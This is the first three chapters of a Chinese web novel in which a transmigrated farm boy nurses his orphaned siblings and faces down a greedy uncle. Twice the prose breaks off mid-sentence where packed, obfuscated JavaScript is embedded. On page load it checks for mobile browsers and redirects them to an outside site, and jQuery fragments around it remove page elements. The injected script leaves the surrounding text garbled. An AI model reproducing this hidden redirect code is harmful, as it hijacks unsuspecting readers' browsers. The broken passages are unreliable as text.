《农家子科举升官路》 1. 水煮芥蓝 闭眼,再睁眼,出现在视野里的依旧是茅草屋顶,还有几团明显的霉迹。 秦高瞻苦笑,原来真不是幻觉,他穿越了,成了一个爹娘身亡留下三个弟弟妹妹的十四岁农家子。 这个茅草屋就是他的新家。他在哪都没父母缘。 “哥,你醒啦!” 一道沙哑又惊喜的声音响起。 “咳咳!” 秦高瞻撑着有些冰凉的床褥坐起来。 “哥,你还病着,别勉强自己啊。” 一个面黄肌瘦的男孩小跑过来,飞快将枕头立起来,让秦高瞻靠得舒服一些,他兴奋得有些语无伦次。 “哥,要不要喝水…不对,快要喝药了…药还没煎好,喝点水吧,厨房那边特地给你留了热水。” 说完,又咚咚咚的跑出去。 很快外边传来男孩的声音。 “阿琼、阿瑜,大哥醒了,快倒点壶里的热水!” 喉咙难受,秦高瞻一句话都没来得及说。听到三个小孩此起彼伏的声音,他叹了口气。 他和原身同名,穿越之初也接受了对方的记忆。对比后发现,这是一个架空朝代,部分历史与他上辈子相同,部分不同,如今的朝代是大乾朝,当今皇帝是永康帝,如今已经是永康三十年。 原身一家居住在南方的岑县梨花村。 梨花村是个多姓杂居的村落,村民基本都是百年前因战乱从各地逃亡而来的流民后代,如今全村一百多户。 原身九岁那年,秦家正式分家,因为爹娘和爷奶大伯等人闹得不愉快,分家后没什么来往。三年前,秦登山夫妻在县城里感染时疫,两人都没能活着回来。 那之后,原身退学,带着年纪大些的二弟三妹料理田地。 才十一岁的孩子一夜之间成了家里的顶梁柱,除了种田,还会从书坊里接些抄书的活计补贴家用,同时温习。哪怕如此,一家四口日子还是过得紧巴巴。 秦登山夫妇都是种田好手,还会去县城里打短工。在他们去世前,前边几个大点的孩子只需要做些家务、干些轻省些的农活,陡然接手那些田地,亩产大不如前。 原身一直内疚自己无用没能照顾好底下的弟弟妹妹,更是拼了命的耕作和干活,偶尔在县城里得了点好吃的,也留给底下的弟妹,极度缺乏营养,又思虑和劳累过度,一场风寒就倒下了。即便家人卖了些田地寻医问药,他还是没了命。 穿越来了后,秦高瞻能感受到身体的虚弱,同时也能感受到源源不断的生命力,仿佛他的穿越让这具身体有了生机。 他穿得迷茫,更不知如何回去,既来之则安之,他想好好活下去。 “大哥,水来了!” “阿琼,小心些,别摔了跟头撒了水!” “二哥你好啰嗦呀,我走路稳当得很。” 吵吵闹闹,不算大的房间一下子涌入三个孩子。 其中两个模样有九成像,面黄肌瘦,头发跟杂草似的。碎碎念的那个是老二秦高瞰,性子急的那个是老三秦高琼,两人是龙凤胎,三年前才九岁,就跟着原身一起伺候庄稼。 “哥哥,”一个小人儿从两人身后探出脑袋,她两条辫子梳得整整齐齐的,个头和脸蛋都很小,乌黑的眼瞳盯着他看,“快点喝水。” 这是老四秦高瑜,出生时就体弱多病,是秦登山夫妻十分精细养着才养好了一些,父母出事时才两岁,被几个哥哥姐姐拉扯着,也勉强长大,只是比同龄人矮小一些。 “大哥,快点喝水吧。” 秦高琼将一个瓷碗递近了些,“手没力气的话,我喂你?” “不用。” 多日缠绵病榻,秦高瞻的声音也很沙哑。 他将缺了个口子的瓷碗接过来,轻轻抿了一口试了下温度,确定刚刚好,才一饮而尽。 温暖的水入肚后,他整个人也跟着舒服了一点。 “还要吗?厨房里还有。”秦高琼不错眼的盯着他看,生怕他和以前那样,就算喝了药吃了饭,也依旧病殃殃,一副永远好不起来的样子。 “不了,待会不是还要喝药?” 秦高瞻仔细感受了下,再次确定伴随着穿越,这具身体正在逐渐恢复生机,他看向三个眼巴巴的弟妹,轻声道,“我感觉好多了,家里的药喝完,就别买了。” 原身昏昏沉沉时,隐约听到过家里卖田的钱也要花完了,他不想再添加负担。 秦高瞰愧疚的低下头,“大哥,是我没用。” “没有的事,阿瞰,这段时日辛苦你了。” 两姐妹:盯! “阿琼,阿瑜,也辛苦你们了,今后我们一家人一起努力过上好日子。” “嗯!” 两姐妹很想扑过来,被秦高瞰一手拽住一个。 “别扑,大哥身体还虚着呢。阿琼,你继续熬药,我去煮饭,阿瑜在这儿陪大哥说话。” “好的二哥!” 伴随着秦高瞻恢复生气,原本死气沉沉的小家跟着拥有活力。 秦高琼熬药的时候都在哼着小曲。 “阿琼,别高兴得这么早,前几日,大哥也清醒了一次,结果之后一直昏睡……” “呸呸呸,二哥,你说点好的,该高兴的时候就要高兴。” 女孩叉着腰,皱紧鼻子,“反正我觉得大哥这次肯定能痊愈,我们一家也一定能过上好日子!” “是是是。” 秦高瞰也这么期盼着。 他熟练的处理早上去摘的野菜,途中又出去一趟,回来的时候骂骂咧咧。 秦高琼撇嘴,“那只母鸡还是不下蛋啊?” “别说攒鸡蛋卖,都没法给大哥补身体了,”秦高瞰胡乱抓了把头发,下定决心,“过几日杀了,给你们补补身体。大哥病了这么久,身体肯定虚。你也是,头发跟杂草似的,阿瑜也好久没吃荤腥了。” “还有你!”秦高琼强调,“二哥也要补身体,干脆煮一大锅鸡汤一起喝。” “行!多加点水,咱们用鸡汤泡饭吃。” 哪怕知道所谓的饭是粗粮加米糠,秦高琼还是忍不住咽了下口水。 · 前世秦高瞻很少吃中药,潜意识里觉得很苦,不过等喝的时候发现味道还挺淡。 余光瞥见秦高瞰愧疚的神色,他反应过来,这次的药应该是上一服反复熬煮,味道才这么淡。以这几个孩子对他的重视程度,估计家里连买一服药的钱都没有了。 “阿瞰,我之前昏昏沉沉不记事,家里还剩多少粮食和银钱?” 自大哥生病就迅速接手家里财政大权的秦高瞰飞快报数。 “家里还有一斗粗粮,一袋米糠,一升豆子,小半罐盐,一只母鸡…卖田得来的四十一两白银就剩下三文,连服药都买不到。” 说着,秦高瞰丧气的垂下头。 秦高瞻发现情况比他想象中严峻得多。 分家时,他们家得了十五亩水田和十亩旱田。那对爷奶是出了名的偏心,十五亩水田里只有五亩中等,十亩是下等。好在经过秦登山夫妇的精心伺候,水田里有四亩上等,八亩中等。 后来到了几个小孩手里三年,又变成了两亩上等,五亩中等,和八亩下等水田。 在大乾朝,亩产二到三石就算上等水田,根据具体情况和地理位置,能值五到八两银子,亩产一到二石算中等水田,能值三到五两银子,亩产一石以下就是下等水田,价格绝对不会超过二两。 一般来说,一家五口一年会消耗十八石粮食,平均下来每人每日一升。①但实际上,普通农民绝对不敢这样吃。就算是干活最多的,也会多吃些蔬菜填饱肚子。平时干活不多,主粮就吃得更少了。如此,他们才能在交完税后,留足粮食,防止次年收获不丰。 几兄妹笨手笨脚的伺候田地,忙不过来时请人帮忙,每年交完税,哪怕吃的不如成年人多,余下的粮食其实也不够吃。需要秦高瞻抄书,逮到机会就求人带自己打短工,卖些蔬菜和鸡蛋,才勉强度日。 因此秦高瞻生病时,家里拿不出看病买药的钱,还是老二果断卖了田,才请到大夫。 梨花村,或者说整个岑县不缺下等水田和旱地,急于拿到银钱,秦高瞰只能卖上中田。一开始没全卖,奈何秦高瞻一直没痊愈,最后卖光了。 秦高瞻是出正月病倒,病了快一个月。这期间他没法劳作,秦高瞰忙着卖田请大夫买药,秦高琼要照顾生病的哥哥和年幼的妹妹。在秦高瞻生死不明时,谁也没心思去料理那些田地,只偶尔去菜地里扒拉几下。一家人的开销可谓只出不进。 一般农家收获后,会尽量留足下一个收获季到来前的粮食,秦家留不了那么多,但应该比现在多不少。考虑到他生病花钱的速度,估计卖了一些,才剩下这么点。 他们家有四口人,就算尽量多吃蔬菜野菜,那点主粮也绝对撑不过半个月。 此外,清明前后是浸稻种的好时节。现下清明将近,可他们家连种粮都拿不出来。 心情沉重,不过秦高瞻还是优先安慰弟弟。 “没关系,我不用再吃药,也能劳作,家里的日子会好的。” “嗯!”秦高瞰勉强笑了笑。 秦高瞻看出他的勉强,也猜到他的担忧。失去良田,就算多了个劳动力,接下来的日子也会很艰难。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763564|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽说还没决定日后的长久营生,不过他根据原身的记忆,已经找到一个短时日赚些快钱,保证这一两个月吃喝的办法。 只是还没实地验证,不好直接说出口,免得让人白欢喜一场。 简单梳理了家里的财产状况后,秦高瞻吃到穿越来的第一餐——粗粮混米糠,以及水煮芥蓝拌野菜。 饭菜是直接分好端上来的,秦高瞻一眼看出来,他和小妹几乎都是粗粮,另两人则混了许多米糠,其中秦高瞰碗里的米糠更多。 芥蓝拌野菜也是如此。 在心里叹了口气,秦高瞻将碗推出去,轻声道,“大病初愈,一下子吃这么多不好克化,你们帮我吃一些吧。” 秦高瞰不是很懂这些,见大哥一脸真诚,还是小心翼翼舀了一些粗粮,准备给秦高琼。 “二哥,你自己吃,我碗里够多了。” 秦高琼很有先见之明的护住碗。 “不好好吃饭也会生病。”她大声强调。 面黄肌瘦的男孩只得将粗粮舀到自己碗里,很快,他几乎要将脑袋埋在瓷碗里,大力扒了几口,再抬头时,眼眶微红。 “这才对嘛。” 秦高琼满意了,一低头,刚好看到一只颤颤巍巍的小手收回去。 “我的吃不完,给姐姐,”秦高瑜用小手护住自己的碗,咧嘴笑,“不想姐姐生病。” 秦高琼抽了抽鼻子,“嗯。” 过了会,她强调,“下次不允这样,你身体一直都不好。” 小女孩埋头吃饭,闻言动了动耳朵,但没应声。 这是秦高瞻吃过最简陋的饭,却又是向往了很久热闹的一顿饭。 吃完饭后,秦高瞰三兄妹出门了。 “大哥,我们去菜地看看,你看家。” 秦高瞰额外嘱咐,“大哥你别急着出门,先修养几日。” “好,我知道。” 秦高瞻喜欢这样来自家人的关怀。他也知道自己现在身体比较虚,想出门,最好等明日。 今天还是先在家里转转。许多事只靠原身的记忆,没有多少代入感和真实感。 秦家住的是茅草屋,是分家后秦登山夫妻搭建的,那会秦高瞻已经在读书,老二还跟着老大启蒙,除了三间卧室,还有一间小书房。又另外在院子里搭了个简陋的厨房和柴房,认真打造了一个仓库,仓库还带锁。 秦高瞻去仓库里认真清点了余粮,确定没看到老鼠,又转去厨房。灶台开了两个口,一大一小。大的搁了个旧铁锅。小的搁了个大陶罐。 分家后秦登山夫妇买了口好铁锅,养得锃亮,只是后来几兄妹周转不过来卖了,又抬了口快破口的旧铁锅回来,一直没换。 此外,还有一个用小石块围起来的炉子,上边放着个小瓦罐。 秦高瞻想起来,这是因小妹幼年体弱多病,除了经常吃药,还需要吃些细粮,她的饭食都需单独煮。专门买个铁炉又太贵,干脆用石块和黄泥在厨房里砌了个小炉子。 他这摸摸,那看看,还去看了药渣,最后转到小书房。 书房里只有简单的四书五经,还都是手抄本。 原身读书时家里特地给他备齐了考秀才要用的书,不过后来家里缺钱,他就手抄了份,把装订更好的原本给卖了。 后来也是因此萌发了抄书的念头,只是这个时代印刷技术不差,像这种科考专用书都是大量印刷,根本不用专门请人抄。只有那些印刷少或者古籍才需要找人抄写保存。因此这种活并不常有,过年前,原身就送了最后几本书结了工钱,特地买了些年货和弟弟妹妹一起过年。 拿起一本《诗经》,看清楚上边的字迹,秦高瞻愣住。 原身的字和他的一模一样,都是一样的板正,看着就是个端庄稳重的人。 他轻轻抚摸那些字迹。 “你还是想读书,想参加科举。” 其实他也想。 务农靠天吃饭,风险太高,这个时代又是以‘士’为先,有机会,他肯定要读书参加科举。不过在这之前,先得保证一家人的生存。脚踏实地,才能走得更远。 简单将手里的书看了遍,秦高瞻觉得有些累,干脆回房间睡觉,迷迷糊糊间,他听到外边传来争吵声。 “我们家不欢迎你,快走快走!” “再不走我拿扫把赶人了!” “不欢迎,不欢迎。” “这是对长辈的态度?果然是一群没教养的兔崽子。” 秦高瞻猛的坐起身,心里升起一股愤怒。 这是原身的愤怒。 他也得知不速之客的身份——他那位趁火打劫的大伯。 2. 吓唬大伯 这世上有人重男轻女,有人重长轻幼,秦大壮夫妇则是全都占了。 夫妻俩有四个孩子,老大和老三是男孩,老二和老四是女孩。他们只对老大寄予厚望,希望大儿子能改换门庭,特意取名登科。秦登科出生后就没干过活,早早开蒙读书。 读书最耗银钱,于是两个女儿的婚事跟换钱无异,另一个儿子也早早送去当长工。 供了多年,老大连个童生都不是,也不放弃,硬是想办法给他娶了个秀才之女当媳妇,平时儿媳什么都不用做,就指望着她生个宝贝孙子。 连生两个女孩终于盼来长孙秦高中,四岁跟着秀才外祖父启蒙,六岁到县上私塾学习。 哪怕儿子都去私塾了,秦登科也以要继续在家读书为由不干活,他媳妇也不干活。 哪来钱给秦高中读书?秦大壮夫妇卖力种田,省吃俭用,以及把小儿子赚的钱全贴进去。 秦登山十四岁之前一直在家里料理田地,没机会读书,之后给县里一个富户当长工,吃住全包,一个月能托人给家里送去一两银子。 为何是托人送? 只因第一次月休回家,被爹娘责怪不努力,应该趁着休息打点短工,又说他不如大哥聪明不能读书,只能多赚钱谈门好亲事。 待十八岁后,一个月少说能给家里送二两银子。碰上节日,雇主家有喜事,还能得赏钱。 后来见身边人都成家,也想娶妻生子,便打算辞工回家,又被爹娘骂了顿说他不懂珍惜好工作,又说现在娶亲可费银钱了,要多攒攒。 直到富户一家去了府城,遣散雇佣的长工,他才回家,羞涩的向爹娘提出找媒人给自己说亲。秦大壮夫妻终于露出真面目,理直气壮的表示钱都花光了,想娶妻?可以,找个不要彩礼的。 再气秦登山也没法离开,当时全国各地有民变,物价飞涨,岑县没什么人雇工,没钱没地没房,如果不给家里种田,他会饿死。更何况,如果真离家出走,他就彻底分不到家产了。 而那些有意说亲的得知秦家不肯为小儿子出一点彩礼,都打消了念头。秦登山一直单身,后来娶了个逃难来岑县的女子当媳妇。 钱文玉很快发现公婆偏心哥嫂是懒货,只是公婆不分家,他们就只得忍了委屈勤勤恳恳种田。直到几个孩子相继出生,发现秦大壮夫妇对孙辈也区别对待,长孙可以吃细粮每日有鸡蛋,他们的孩子连粗粮都吃不饱,需要他们将自己的食物分出去。 再后来,秦高瞻六岁,表现出的学习能力比秦高中还强,夫妻俩想将他送去县里读书,遭到秦大壮夫妻的拒绝,秦登科夫妻的嘲笑,两人彻底怒了。一个出门时常和村里妇人聊婆婆对她有多好——每餐给她特别多的米糠,对她孩子有多好——足足半碗饭呢;一个说自己多孝顺,打工多年赚那么多钱都让爹娘收着,将来儿子读书科举有着落了。 村里大多人看得出秦家夫妇的偏心,只是他们有个秀才亲家,大家不敢明着得罪,就当没发现。可若八卦自己送上门,他们乐得背后议论。 就算有人看出秦登山夫妻在阴阳怪气,也不能说他们不孝。毕竟钱文玉说那些话时特别自豪,还一脸的感激,觉得她的婆婆世上第一好。秦登山表现得更是如此,认定他爹娘会把打工的钱花在他儿子身上,毕竟他儿子读书天分那么好,还一度对村里人说‘没钱就算了,有钱家里的孩子读书那么好,不送去科举那不是傻吗’。 秦家其他人没料到这对夫妻能用这招,为了体面,也是为了宝贝孙儿读书人的名声,退了一步,勉强同意让秦高瞻在村塾里读书。秦登山夫妇没逼得太紧,不再提去将儿子送去县里读书的事。 这之后,秦登山夫妻俩留了心眼,平时打短工挣的钱悄悄藏一些,一开饭第一个给自己孩子添饭,装作不知道鸡蛋是给那个宝贝孙的,直接剥了喂孩子。 事实证明,人不要脸,日子可以过得顺遂那么一点点。 又过去三年,秦高瑜出生,体弱多病,时不时需要请大夫。秦大壮夫妻自然不乐意,认为一个赔钱货,不值得花那么多钱。可秦登山夫妻自认父母缘浅,十分珍惜孩子,又使出老一招。 村里不少人同样觉得秦高瑜是个赔钱货,但不妨碍他们看秦家笑话。 但凡他们背后议论,秦大壮夫妻就不得不捏着鼻子花钱请大夫。 大半年后,眼看秦高瑜不用经常请大夫,他们要松口气时,秦登山夫妻又开始给她喂细粮。 什么家庭能这么对一个赔钱货啊? 秦大壮夫妻不满,秦登科夫妇更是觉得被占了便宜,一想到弟弟还有个儿子,估计也要囔囔着读书,小女儿又是个体弱的,不知要花多少钱,怂恿着爹娘把家分了。 偏心人分家,秦登山一家注定吃亏,但夫妻俩看着分到的田地,到手的银子,反而信心满满,认为一家人可以过得更好。 一开始的确是这样。 而秦登科那边,因为没有弟弟弟媳可以吸血,宝贝儿子读书开销实在是太大,果断将前头两个女儿嫁了,根本不管她们不是去当后娘,就是给人当小妾。 原本他们连宝贝儿子后头出生的小女儿也要嫁出去,只是那会小女儿实在是太小,又看着瘦瘦弱弱,没人愿意出高价钱,他们家又需要一个洗衣做饭的,便把人留下来了。 以上这些,一些是原身亲眼看到亲身经历的,一些是爹娘心情不舒服时说的,还有些是村里人聊八卦时说的。村里那些人只当小孩不懂,肆无忌惮的在秦高瞻面前嘲笑他爹娘,其实小孩都记住了。 分家后的两年他过得很幸福,可以转去县里读书,教弟弟妹妹们读书,爹娘脸上的笑容变多了,大家都可以吃饱了。那些不愉快的记忆也逐渐被掩埋了。 反正以后没什么来往,他并不想分出精力给爷奶大伯等人。后来爹娘出事,他也没有带着弟弟妹妹们求上门。 可偏偏在他生病时,弟弟急着卖田找大夫时,大伯主动找过来说要买田。 出价是,上等田和中等田都是一两银子一亩,并且厚颜无耻的自夸,“你们好歹也喊过我大伯,我中等田给你们上等田的价。” 其实那个时候原身意识昏沉,却又将这话听得清清楚楚,隔着道门大喊‘你给我滚出去’。 秦登科气急败坏的离开,又放言村里没人敢买他们家的田。 能一下子拿出买上等田银钱的村民的确不多,而拿得出的,基本都把孩子送到村塾里读书,将来会和秦高中一起科考。秦登科有个秀才公当岳父,他们并不敢得罪。 好在秦高瞰有主见也能干,见村里人不敢买,就去找了隔壁村的富户。那富户家里不仅有大量田地,在县里也有产业,还有个秀才儿子,并不怕秦登科,买下了秦家的田。 这件事之后,他们家和秦登科之间别说是见面不打招呼的关系,那是见面要打架的关系。 担心弟弟妹妹吃亏,秦高瞻连忙起身出门,一进堂屋,就看到个四十多岁的男人指着秦高琼骂。 “你居然还想推我,有娘生没娘教的小崽子就是没教养。” 只论长相,秦登科算是英俊,还是村里少有的白皮肤,但他眼底的精明傲慢让他气质大减。 秦高瞻一个箭步上前,抓住快要挥到妹妹脸上的手,微笑道,“是啊,大伯这个读书人可真有教养,双手空空探望重病的侄子不说,还要打侄女,真是让我大开眼界。” “你!” 发现侄子不仅痊愈,精神还很好,甚至变得伶牙俐齿了,秦登科气得胸口剧烈起伏。 “大伯,你怎么什么都没拿就来啦?”秦高瞻猛的拔高声音,“东西太多待会再送过来?那谢谢了哈!” 分家时秦大壮夫妻不肯让他们一家住青瓦房,他们家是另找村长批了地皮盖了茅草屋。时下都讲究近邻守望相助,因此就算盖房时间晚,附近还是有几户人家。 秦高瞻这一嗓子保准附近想听八卦的人都能听见。村民们不用感谢他提供了茶余饭后的谈资。 “你、你……” 秦登科手抖个不停。 这瞬间,他在大侄子身上看到了弟弟和弟媳的身影。 那对蠢夫妻当年就是用这种不要脸的手段,换得大侄子读书,小侄女看病。 “你好的不学学坏的!” “你再大点声,”秦高瞻撤去笑容,乌黑的眼瞳阴沉沉的盯着他看,“我记得秦高中这个月才通过县试,四五月会参加府试。如果你再来我家闹事,我可不保证将来会发生什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763565|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦登科下意识往后退了一步,反应过来后有些恼羞,正要骂人,对上秦高瞻的双眼,又退缩了。 这孩子没有开玩笑。 那瞬间他脑海里闪过很多手段,比如秦高瞻给他儿子下药,或是故意打伤他儿子错过考试,就算这段时间他雇人保护儿子,秦高瞻也能跑去散播谣言影响他儿子的名声,县令为了减小影响撤去他儿子的考试资格。 毕竟他儿子的确看不起秦高山,而秦高山又的确出了钱供他儿子读书。也许平时无人作证,可当下,村里和他儿子一起去参加县试的人都落榜了,出于嫉妒,那些村民指不定就站出来了。 就像现在,秦高瞻肯定也是因为嫉妒他儿子能读书很优秀,才用这话威胁他。 他咽口水,“你别乱来,你也是个读书人。” “你看我现在像读书人么?” ‘光脚不怕穿鞋的’,秦登科脑海中闪过这一句话,他又后退了几步,“我以后不来了。” 虽然遗憾大侄子痊愈,这个小家有了主心骨,余下的田地不好拿到手,可毕竟是一点下等田和旱地,等他儿子考上秀才,随便给人写几幅字就有不少润笔。 哼,他根本看不上这点田地。 秦登科匆匆离开,并不敢去看周围的房屋是否有人出来。 “那家伙总算走了。” 秦高琼气鼓鼓的抱着手,“世上怎会有这样恶心的人啊?还读书人,呸!” “别气了,为这种人气坏身体不值当。”秦高瞻劝。 “大哥,你说得对,我才不会这种恶心人生气。” “大哥,要是那话被他传出去,会不会影响你的名声?” 将讨人厌的大伯赶走是很开心,秦高瞰又不由自主担心起来,这是上次秦登科放言村里人无人会买他们家田留下的阴影。 他急于拿钱请大夫,愿意出比平时低一些的价格。这是极划算的事,他本不把秦登科的话放在心里,结果无人买后,他才知道有个秀才当亲家是多厉害,读书人的身份是多高贵。 在他心里,大哥也是读书人,等将来日子好些,肯定要让大哥继续读书。既然要继续科举,就必须考虑名声问题。 一只手探过来,将他眉心的褶皱抚平。 “放心,刚刚我也没说具体要做什么,是他自己怕了。再说,无凭无据,不会有人相信他。难道你们会站出来作证?” “才不会!”秦高瞰和秦高琼立马说。 “不会不会!”其实听不太懂,但秦高瑜不想被落下,举着小手努力跳起来,“不会不会!” 秦高瞻弯腰捏了捏她的脸颊。 “那就不用担心了。对了,待会他让人送来东西,直接收下。” “他真会给?” 秦高瞰思索:“我们刚刚出门摘菜时表现得很开心,一路遇到的村民都问我们你是不是痊愈了,他应该就是听到大家的议论过来探探虚实。” “那就对了,村里人也许不会上门来看,却一定会关注他。这会,估计不少人都在说他两手空空探病。为了颜面,他都会让人送点吃的用的过来。” “其实我不是很想要,”秦高瞰低声道,“不想要他们家的东西。” “那是给我们的赔偿,他让我们生气了。” 秦高瞻明白弟弟说的是不希望两家有任何来往。 可同住一村,就算分家爷奶还是他们的爷奶,就很难彻底分割。要不想那些人给他们添堵,除了威胁,最好还要让他们出点血。如果每次招惹他们都会失去一些东西,久而久之,远远见到他们就会避开,那同住一村,也不怕什么了。 那家人小气,不会给什么好东西。只是向来都是他们吸秦登山夫妻的血,如今哪怕是送出一碗糠,都会难受,心里堵得慌。秦高瞻就是要利用这样的心理。 秦高琼则是嘟囔:“给再多,都比不上爹娘们给他们的。” 分家时她六岁,已经懂得很多了,也将村里人的议论记在心里。用她爹当长工挣的钱盖的青瓦房,他们不能住;添置的家具厨具,不肯给;购置的田地,分差的给他们家;还有白花花的银子,基本都给那一房。 哼,也就是那家人没让她去吃饭,否则她要把爹娘该得的都吃回来! 3. 鸡蛋羹 看到自家的青瓦房,回忆起弟弟家那破烂的茅草屋,秦登科的心情这才好了一些。 他大步进了堂屋,早就等他的孙氏连忙迎上来。 “怎样,那小子真痊愈了?前几日大夫不是说不行了么?” “这年头庸医多得很,”秦登科没好气道,“那小子不仅痊愈,还恢复成他爹娘没出事前那般伶俐,说话一套一套的,啧,果然是那两人的孩子,看着老实,其实一肚子坏水。” “怎会这样?不是不成么?” 因为保养的好,孙氏看上去比同龄人年轻不少,此刻蹙起柳眉,倒是让秦登科心里一动,想到更年轻时的风情,一看到孙氏眸底和他差不多的算计和嫉妒,又歇了那心思。 他没什么趣味的摆手。 “你还在计较当年夫子说的话?那也是幼时他聪明了些,被耽搁这些年,他家里又落魄成这样,哪来银钱读书?就算读了,也追赶不上咱们家高中。” 一般人都唤家中孩子哥儿姐儿,他们却喜欢喊秦登科和秦高中的名。 登科及第。 高中状元。 多好的寓意。 就像早些年,他们喜欢唤老大老二招娣和盼娣,果然盼来了宝贝儿子。唯一不灵的是唤了小女儿来娣这么些年,不见再来个儿子。一定是来娣那丫头平时总偷懒耍滑的原因! 提及儿子秦登科就洋洋得意。 “我去问过夫子,高中今年府试肯定能过,也就是今年学政不来巡视不组织院试,否则咱们儿子今年就是秀才,你就是秀才他娘了。” 孙氏听了,心情好了一些。 “我才不稀罕什么秀才,我爹就是秀才,高中肯定能进士及第当个大官为我挣个诰命。” “我是大官他爹,将来肯定不少人捧着银子找我办事。”秦登科也得意。 “你去看过瞻哥儿?” 突然响起的声音吓了夫妻俩一跳。 两人扭头一看,发现赵氏站在通往厨房的那扇小门边,大半个身体都在阴影里,也不知听了多久。 孙氏素来看不起这个婆婆,大字不识一个,比同龄人苍老,还有些驼背,蒸个饭炒个菜都斤斤计较,她借粮出去还要念叨,完全上不得台面。因此并不怕被听到这些话。她就不信赵氏不想要诰命。 秦登科就有些心虚了。刚刚那番对话仿佛盼着侄子去死,会不会影响他在娘心里的形象? “嗯,去了,”秦登科试图先告状,“娘,我和你说,瞻哥儿那孩子越来越不像话了,居然还敢顶撞我这个大伯。这孩子是彻底废了,登山他们没读过书,终究是不会养孩子。” 赵氏不关心这些机锋,她只问,“你带礼去了没?” 秦登科想起了不好的回忆。 孙氏不干了,“只是过去看看,哪里还需要带礼?” “我从外边回来,现在村里都晓得那孩子醒了,能走能说,也知晓登科这个大伯去过。去看望侄子连颗鸡蛋都不拿,他们会怎么看登科,怎么看高中?” “随他们去,”孙氏一脸不屑,“一群泥腿罢了,县太爷哪里会在乎他们?就算为了高中的名声,也只需在乎他在读书人那儿的名声。” 赵氏眼皮狠狠一跳。 秦登科忙说:“我听到消息太高兴,出门忘了。不然娘这会送去?” 又担心赵氏给太多,赶紧补充,“高中为府试做准备,每日的吃食必须精细,待考完又少不得应酬,需不少银两。” 见媳妇还要说话,他赶紧把人往里屋扯。 赵氏盯着他们俩的背影看了会,这才翻出个竹篮,去仓库里用竹筒装了升粗粮。想了想,她倒出一半,用缝了补丁的粗布袋子装了许多米糠,将竹篮塞了个大半。余下小半又放了些时令蔬菜,小半个巴掌大的腌肉,这才走到院子鸡窝旁。 孙女秦来娣正在喂鸡,大部分是她抓来的虫子,再掺了些米糠。他们家的母鸡每日都能下蛋,八成和那些虫子有关系,为此她才默许孙女每日忙完家里的活计出门找虫子,不多过问她去了哪儿。 “来娣,捡两个鸡蛋,和这些一起送到你叔叔家。” 赵氏提醒她,“别人要是问麻袋里装了什么,就说是粗粮,竹筒里是细粮,不要在外边打开。还有,这块肉和鸡蛋要露在最外边。” 秦来娣乖巧点头,去鸡窝里摸鸡蛋,很快摸出四个。 转过身时,她露出怯生生的表情,“奶,我看到它们挨在一起,就都摸出来了,要放回去两个么?” 赵氏有些心疼。 他们家的鸡蛋大,一枚能值一文呢。 “不用了,一起拿过去,别人要是问怎么送这么多,就说也给瞰哥儿他们补补身体。最近照顾他们大哥辛苦了。” 秦来娣乖巧应了。 · 秦高瞻正和弟弟妹妹一起处理蔬菜。下午三兄妹出门,摘了些菘菜(小白菜)、莴苣和白萝卜回来。 厨房就建在院子里,外边有点动静就能听见。 听到秦高琼和人说话的声音,秦高瞻兄弟俩都站起来,越过窗户往外看,发现妹妹正和一个年纪更大些同样穿着粗布的女孩交谈。 “果然是四堂姐来。” 秦高瞰撇嘴,“其他几个都要脸,不想被人看热闹。” 说这话时,他的目光落在院子外跟着秦来娣过来看热闹的村民身上。 秦高琼快步将院门关了,表达的态度很明显,外边那些人才陆续散了。 见妹妹待秦来娣态度不错,秦高瞻还有些惊讶。 他赶紧在原身记忆里翻找。 穿越来后,原身的记忆就像是一个资料包发送到他大脑里。最初时主动展示一些重点,余下的,得秦高瞻需要,输入关键词检索。 未分家前,纵然是瞧不上的女儿,那位大伯母孙氏也不让几个堂姐和他们玩,说他们笨,要是这愚笨通过几个女儿传给宝贝儿子,那就亏了。 这种大脑有病的发言居然得到秦登科以及秦大壮夫妻的认可。是以当时住在一屋檐下,他们和堂姐堂哥关系也不好,分家后就更没什么来往了。 那只剩下一种可能了。 “我病时,堂姐来过?” “嗯,”秦高瞰解释,“我们还没卖田的一天晚上,她悄悄来的,送了几个鸡蛋和十文钱。” 不算多,但对比薄情的爷奶大伯等人,是真正的雪中送炭。 哪怕十文钱对秦高瞻的病来说是杯水车薪,几兄妹还是记在心里,待秦来娣这个堂姐的态度也就不一样。 “后来卖了田,我把十文钱还回去了,只收下鸡蛋,”秦高瞰又说,“哥,别对外说她藏了私房钱。” “我晓得。” “大哥,二哥,把东西整理下,我要把篮子还给堂姐。” 秦高琼急匆匆的走进来,另一个女孩则是在院子里等着。 秦高瞻其实听到妹妹邀请对方进屋坐会,只是被拒绝了,对方甚至知道他们都在厨房里,却不肯往这边看一眼。 如此抗拒,他便配合的没出门打招呼。 看到那四颗鸡蛋,瞅了眼锅里已经沸腾的水,秦高瞻轻声提议,“不如现在煮两颗,一颗给堂姐,一颗我们分了?晚些蒸饭的时候,咱们再蒸鸡蛋。” 弟弟妹妹们都没意见。 沸水煮鸡蛋也花费不了多久,不过对于整理那点东西,又过于久了。 站在院子里,秦来娣迷茫的眨眼。 “堂姐,你先喝点水吧。” 秦高琼端了碗温水出来。 “我哥他们还在整理,待会就把篮子还给你。” 秦来娣只当这是为让自己喝碗水的借口,十分干脆的一饮而尽。 “还你。” 秦高琼接了碗,并不走。 两个女孩大眼瞪大眼。 